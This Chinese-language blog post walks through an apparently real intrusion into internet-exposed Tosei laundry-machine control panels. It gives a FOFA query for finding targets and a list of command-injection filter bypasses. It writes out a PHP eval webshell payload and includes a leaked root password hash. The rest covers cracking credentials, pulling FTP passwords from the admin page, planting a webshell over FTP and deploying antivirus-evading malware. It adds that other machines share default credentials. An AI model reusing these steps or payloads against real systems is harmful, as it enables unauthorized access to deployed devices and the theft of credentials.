注：本文仅做技术假设分享，禁止对外非法渗透，违者后果自负
1.信息收集
前段时间很火的东正洗衣机rce漏洞
语法
fofa: body="tosei_login_check.php"
页面长这样
poc如下
后台常规的测试功能管道符绕过
成功RCE
2.打点
这里复习一下常见的命令注入绕过方式
1.管道符
2.拼接字符串 windows: ~%xxx:0~1 linux: $xxx:start,length
3.特殊符号^,"",()，$@
4.空格绕过， ${IFS},{}
5.变量赋值
6.默认路径 通配符
7.hex编码 xxd
8.base64编码
9.分号绕过
10.``绕过
11. \ 绕过
12. dnslog绕过
这里处理一下上传webshell的问题
IFS=,;`cat<<<'<?php @eval($_POST[1]);?>'>5.php`
没处理成功，对面系统无法执行
折腾了半天的下载，发现机子不出网，无ping和curl
无权限写目录，tmp对应目录了也无法写
干到这了，不写个shell怪可惜的
开始信息收集！
1.本机信息收集
pwd 查看当前目录
ls${IFS}-lah
total 1.8M drwxrwxrwx 3 root root 4.0k Jun 13 2018 . drwxrwxrwx 5 root root 1.0k Nov 20 2018 .. lrwxrwxrwx 1 root root 12 Dec 29 2004 .htaccess -> ../.htaccess -rwxr-xr-x 1 root root 6.8k Sep 28 2005 alert_rss.rdf -rwxr-xr-x 1 root root 1.3k Jan 11 2005 downloader.php lrwxrwxrwx 1 root root 23 Dec 29 2004 images -> /usr/apache/html/images -rwxr-xr-x 1 root root 5.7k Oct 24 2005 imode_alldata.php -rwxr-xr-x 1 root root 7.6k Jan 12 2005 imode_eventlog.php -rwxr-xr-x 1 root root 3.2k Dec 6 2005 imode_eventstat.php -rwxr-xr-x 1 root root 2.1k Jan 12 2005 imode_info.php drwxrwxrwx 2 root root 2.0k Jun 13 2018 include -rwxrwxrwx 1 root root 4.7k Oct 25 2017 index_x1.php -rwxrwxrwx 1 root root 4.8k Feb 25 2011 index_x11.php -rwxrwxrwx 1 root root 6.4k Oct 25 2017 index_x12.php -rwxrwxrwx 1 root root 11k Feb 25 2011 index_x13.php -rwxrwxrwx 1 root root 4.3k Feb 25 2011 index_x14.php -rwxrwxrwx 1 root root 5.4k Feb 25 2011 index_x15.php -rwxrwxrwx 1 root root 2.0k Dec 24 05:45 login.php -rwxrwxrwx 1 root root 32k Sep 14 2017 mainte_jikan_kadou.php -rwxrwxrwx 1 root root 43k Sep 14 2017 mainte_jikan_uriage.php -rwxr-xr-x 1 root root 2.2k Apr 15 2016 network_test.php -rwxrwxrwx 1 root root 5.8k Apr 15 2016 p1_conf_update.php -rwxrwxrwx 1 root root 6.8k Apr 15 2016 p1_ftpserver.php -rwxrwxrwx 1 root root 9.1k Jun 23 2016 p1_info_device.php -rwsr-xr-x 1 root root 17k Apr 5 2016 p1_network_dns.cgi -rwsr-xr-x 1 root root 14k Jun 14 2016 p1_network_inetd.cgi -rwsrwxrwx 1 root root 20k Apr 5 2016 p1_network_mail.cgi -rwsr-xr-x 1 root root 24k Apr 15 2016 p1_schedule_setting.cgi -rwsr-xr-x 1 root root 14k Apr 5 2016 p1_setdate.cgi -rwsr-xr-x 1 root root 17k Apr 5 2016 p1_setipadr.cgi -rwxrwxrwx 1 root root 1.1k May 6 2011 p1_system_check.php -rwsr-xr-x 1 root root 20k Apr 5 2016 p1_system_ntp.cgi -rwsr-xr-x 1 root root 14k Jun 14 2016 p1_system_user.cgi -rwxrwxrwx 1 root root 1.2k Apr 26 2011 p1_user_check.php -rw-r--r-- 1 root contec 17k May 21 2007 style_tosei.css -rwxrwxrwx 1 root root 2.7k Sep 18 2007 tosei-i_running.php -rwxrwxrwx 1 root root 2.3k Sep 18 2007 tosei-i_running1.php -rwxrwxrwx 1 root root 18k Feb 14 2011 tosei-i_sousa.php -rwxrwxrwx 1 root root 16k Feb 21 2011 tosei-i_sousa_2.php -rwxrwxrwx 1 root root 8.5k Jan 30 2011 tosei-i_sousa_3.php -rwxrwxrwx 1 root root 7.4k Jan 30 2011 tosei-i_sousa_check.php -rwxrwxrwx 1 root root 1.6k Sep 12 2007 tosei-i_sousa_check1.php -rwxrwxrwx 1 root root 5.1k Jan 30 2011 tosei-i_sousa_check2.php -rw-r--r-- 1 fws fws 35k Dec 1 2010 tosei_common.def -rwxrwxrwx 1 root root 2.6k Aug 28 2017 tosei_creditinfo.php -rwxrwxrwx 1 root root 21k Sep 15 2017 tosei_datasend.php -rwxrwxrwx 1 root root 1.9k Sep 14 2017 tosei_error.php -rwxrwxrwx 1 root root 36k Oct 10 2017 tosei_getubetu_kadou.php -rwxrwxrwx 1 root root 30k Nov 13 2017 tosei_getubetu_uriage.php -rwxrwxrwx 1 root root 4.0k Apr 15 2016 tosei_gokiinfo.php -rwxrwxrwx 1 root root 13k Sep 14 2017 tosei_gulisu_settei.php -rwxrwxrwx 1 root root 8.6k Aug 9 2017 tosei_gulisu_tenken.php -rwxrwxrwx 1 root root 17k Apr 20 2016 tosei_haraidashi.php -rwxrwxrwx 1 root root 4.3k Sep 19 2007 tosei_help.php -rwxrwxrwx 1 root root 43k Oct 10 2017 tosei_hiduke_kadou.php -rwxrwxrwx 1 root root 27k Nov 13 2017 tosei_hiduke_uriage.php -rwxrwxrwx 1 root root 7.4k Apr 4 2018 tosei_honjitsu_tenko.php -rwxrwxrwx 1 root root 8.4k Sep 14 2017 tosei_ipento_setei.php -rwxrwxrwx 1 root root 34k Oct 10 2017 tosei_jikan_kadou.php -rwxrwxrwx 1 root root 50k Nov 13 2017 tosei_jikan_uriage.php -rwxrwxrwx 1 root root 26k Dec 4 2015 tosei_kikai.php -rwxrwxrwx 1 root root 10k Sep 14 2017 tosei_kikai_era.php -rwxrwxrwx 1 root root 10k Sep 20 2017 tosei_kikai_jyouhou.php -rwxrwxrwx 1 root root 8.4k Mar 26 2018 tosei_kikai_kanri.php -rwxrwxrwx 1 root root 11k Sep 14 2017 tosei_kikai_name.php -rwxrwxrwx 1 root root 11k Sep 8 2017 tosei_kikai_seisanki.php -rwxrwxrwx 1 root root 6.3k Apr 6 2016 tosei_kikai_siyou.php -rwxrwxrwx 1 root root 18k Nov 16 2017 tosei_kikai_sousa.php -rwxrwxrwx 1 root root 10k Apr 15 2016 tosei_kishuinfo.php -rwxr-xr-x 1 root root 354 Feb 18 2016 tosei_login_check.php -rwsrwxrwx 1 root root 13k Apr 5 2016 tosei_mainte_user.cgi -rwxrwxrwx 1 root root 13k Sep 14 2017 tosei_oiru_settei.php -rwxrwxrwx 1 root root 8.6k Aug 9 2017 tosei_oiru_tenken.php -rwxrwxrwx 1 root root 4.7k May 26 2016 tosei_owner_card.php -rwxrwxrwx 1 root root 11k Apr 3 2018 tosei_owner_helocall.php -rwxrwxrwx 1 root root 2.6k Aug 28 2017 tosei_payment_info.php -rwsr-xr-x 1 root root 14k Jun 20 2016 tosei_payment_user.cgi -rwsrwxrwx 1 root root 12k Apr 5 2016 tosei_reboot.cgi -rwxrwxrwx 1 root root 16k Sep 14 2017 tosei_rinfareta_settei.php -rwxrwxrwx 1 root root 15k May 31 2012 tosei_rinfareta_tenken.php -rwxrwxrwx 1 root root 2.0k Apr 5 2016 tosei_running.php -rwxrwxrwx 1 root root 8.0k Sep 14 2017 tosei_ryoukin_henkou.php -rwxrwxrwx 1 root root 84k Sep 14 2017 tosei_save_data.php -rwxrwxrwx 1 root root 39k Sep 14 2017 tosei_setup.php -rwxrwxrwx 1 root root 9.1k Apr 4 2018 tosei_shisutemu_helocall.php -rwxrwxrwx 1 root root 3.1k Apr 15 2016 tosei_shopinfo.php -rwxrwxrwx 1 root root 44k Sep 14 2017 tosei_sousa.php -rwxrwxrwx 1 root root 32k Mar 11 2016 tosei_sousa_2.php -rwxrwxrwx 1 root root 7.9k May 26 2016 tosei_sousa_check.php -rwxrwxrwx 1 root root 3.9k Sep 14 2017 tosei_sousa_history.php -rwsrwxrwx 1 root root 13k Apr 5 2016 tosei_sub_user.cgi -rwxrwxrwx 1 root root 8.9k Sep 14 2017 tosei_syuusei.php -rwxr-xr-x 1 root root 5.8k Mar 14 2007 tosei_syuusei.php.org -rwxrwxrwx 1 root root 23k Sep 5 2017 tosei_top.php -rwxrwxrwx 1 root root 137k Nov 14 2017 tosei_uriage.php -rwxrwxrwx 1 fws fws 104k Dec 1 2010 tosei_uriage.php.org -rwxrwxrwx 1 root root 50k Sep 14 2017 tosei_waribiki_1.php -rwxrwxrwx 1 root root 42k Sep 12 2007 tosei_waribiki_1a.php -rwxrwxrwx 1 root root 40k Sep 14 2017 tosei_waribiki_2.php -rwxrwxrwx 1 root root 31k Sep 14 2017 tosei_waribiki_check.php -rwxrwxrwx 1 root root 45k Oct 10 2017 tosei_youbi_kadou.php -rwxrwxrwx 1 root root 29k Nov 13 2017 tosei_youbi_uriage.php
都无写入权限
试试tmp目录下
tmp也不能下载文件，只能touch一个文件
web目录也没权限写
难道就要就此放弃了吗
2.破解密码
cat一下/etc/passwd
发现了惊喜
/etc/passwd一般存的是一般的用户信息
/etc/shadow存储用户密码信息
前者格式
用户名:密码:用户 ID:用户组 ID:注释:用户目录:登录 shell 当密码存储在/etc/shadow时，密码用x代替 例如：root:x:0:0:root:/root:/bin/bash
后者格式
用户名:密码:上次修改密码日期（从 1970 年 1 月 1 日起的天数）:密码在两次修改期间的最小天数（0 表示可在任何时间修改）:密码需要被变更的天数（99999 表示不需要变更）:密码变更前提前几天警告:账号失效日期:账号失效后被禁用的天数:保留字段 root:$6$Fsf6Q6SH$MlagWih0lcGFxtAo7/s8Z5.wywJyCqH6qateZ6yPFOPm8bNYTGAEPygZxSOPR1A9Rtw.WxJp2fNMOoeB1wj890:17524:0:99999:7:::
这里密码直接泄露在etc/passwd里，我们可以尝试来破解
成功破解两个账户
但对方22端口拒绝连接
g
3.发现htaccess文件
发现精彩东西
chatgpt一下就行了
这个配置文件直接暴露了权限控制要求的目标用户
且对应的文件在
那还等什么，我们直接
cat /usr/apache/.pass
发现好东西
再次破解成功
其他的也可以拿去破解破解
左边是密码，右边是账号
非常完美
3.登录测试
1.进入管理页面输入账号密码
成功打入
然后翻阅
抓重点文件进行测试
1.之前的命令注入由此产生
2.ftp服务器发现好东西
发现ftp的ip，密码，端口，还有域名信息
账号密码端口
密码的话直接f12明文查看
直接ftp
成功进入
3.put lcd上传下载东西姿势
这是最简单的ftp操作
成功种入一句话木马
4.上免杀木马
成功上线
5.后记
1.无域环境，不过这个机子还有其他域名，主打的是一个洗衣机服务，但涉及到了其它资产 2.相同资产利用链相同，都存在默认账号密码，不过试了好些机子，都存在防护环境，需要免杀
334
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
